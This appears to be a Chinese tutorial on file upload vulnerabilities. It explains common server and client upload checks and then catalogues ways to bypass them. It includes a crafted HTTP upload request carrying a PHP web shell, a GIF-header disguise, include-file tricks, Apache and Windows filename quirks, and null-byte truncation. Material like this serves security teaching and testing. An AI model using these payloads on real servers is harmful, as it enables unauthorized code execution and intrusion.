文件上传漏洞
文件上传校验姿势
- 客户端javascript校验(一般只校验后缀名)
一般都在网页上写一段javascript脚本,校验上传文件后缀名,有白名单形式也有黑名单形式。
判断方式:在浏览器加载文件,但是未点击上传按钮时弹出对话框,如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包 - 服务段校验
- content-type字段校验
这里以PHP代码为例,模拟web服务器端的校验代码
- content-type字段校验
<?php
if($_FILES['userfile']['type'] != "image/gif") #这里对上传的文件类型进行判断,如果不是image/gif类型便返回错误。
{
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
{
echo "File is valid, and was successfully uploaded.\n";
}
else {
echo "File uploading failed.\n";
}
?>
可以看到代码对上传文件的文件类型进行了判断,如果不是图片类型,返回错误。
- 文件头校验
可以通过自己写的正则匹配,判断文件头内容是否符合要求,举例;- .JPEG;.JPE;.JPG,”Exif” “JFIF”等
- .gif,”GIF89a”
- .zip,”Zip Compressed”
- .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
- 文件上传绕过校验姿势
-
客户端绕过(抓包改包)
可以利用burp抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可。 -
文件类型绕过
我们可以通过抓包,将content-type字段改为image/gif
-
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif ==(原为 Content-Type: text/plain)==
<?php system($_GET['command']);?>
--xYzZY-
- 文件头绕过
在木马内容基础上加了一些文本信息,有点像下面的结构:
GIF89a- 文件后缀名绕过
前提:黑名单校验
黑名单检查:一般有个专门的blacklist文件,里面会包含该常见的危险脚本文件。
绕过方法
- 找黑名单扩展名的漏网之鱼,比如:asa和cer等
- 可能存在大小写绕过漏洞,比如:aSp和pHp等
能被解析的文件扩展名列表:
jsp jspx jspf
asp asa cer aspx
php php2 php3 php4
exe exee
- 配合文件包含漏洞上传
前提:校验规则只校验当前文件内容是否为木马
绕过方式:(以php为例)
- 文件后缀名绕过
<?php include("上传的txt文件路径") ?>
此时,这个php文件就会引用txt文件的内容,从而绕过校验,下面举例语法:
#php
<?php include("上传的txt文件路径") ?>
#asp
<!-- #include file="上传的txt文件路径" -->
#jsp
<jsp:inclde page="上传的txt文件路径"/>
or
<%@include file="上传的txt文件路径"%>
-
配合服务器解析漏洞
如配合Apache解析漏洞,test.php.rar,会被Apache解析为test.php(1) 如果在Apache的conf里有这样一行配置 AddHandler php5-script .php,这时只要文件名包含.php即使文件名为test.php.jpg也会以php来执行。
(2) 如果Apache的conf里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。
- 配合操作系统文件命令规则
(1)上传不符合windows文件名规则的文件名- test.asp.
- test.asp(空格)
- test.php:1.jpg
- test.php::$DATA
- shell.php::$DATA…
会被windows系统自动去掉不符合规则符号后面的内容。
(2 )linux下后缀名大小写
在linux下,如果上传php不被解析,可以试试上传pHp后缀名 - 配合操作系统文件命令规则
-
配合其他规则
(1)0x00截断:基于一个组合逻辑漏洞造成的,通常存在于造成文件路径的时候- test.php(0x00).jpg
- test.php%00.jpg
路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg
伪代码演示:
name= getname(httprequest) //假如这时候获取到的文件名是 help.asp.jpg(asp 后面为 0x00)
type =gettype(name) //而在 gettype()函数里处理方式是从后往前扫描扩展名,所以判断为 jpg
if(type == jpg)
SaveFileToPath(UploadPath.name, name) //但在这里却是以 0x00 作为文件名截断
//最后以 help.asp 存入路径里
这种利用办法只在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断。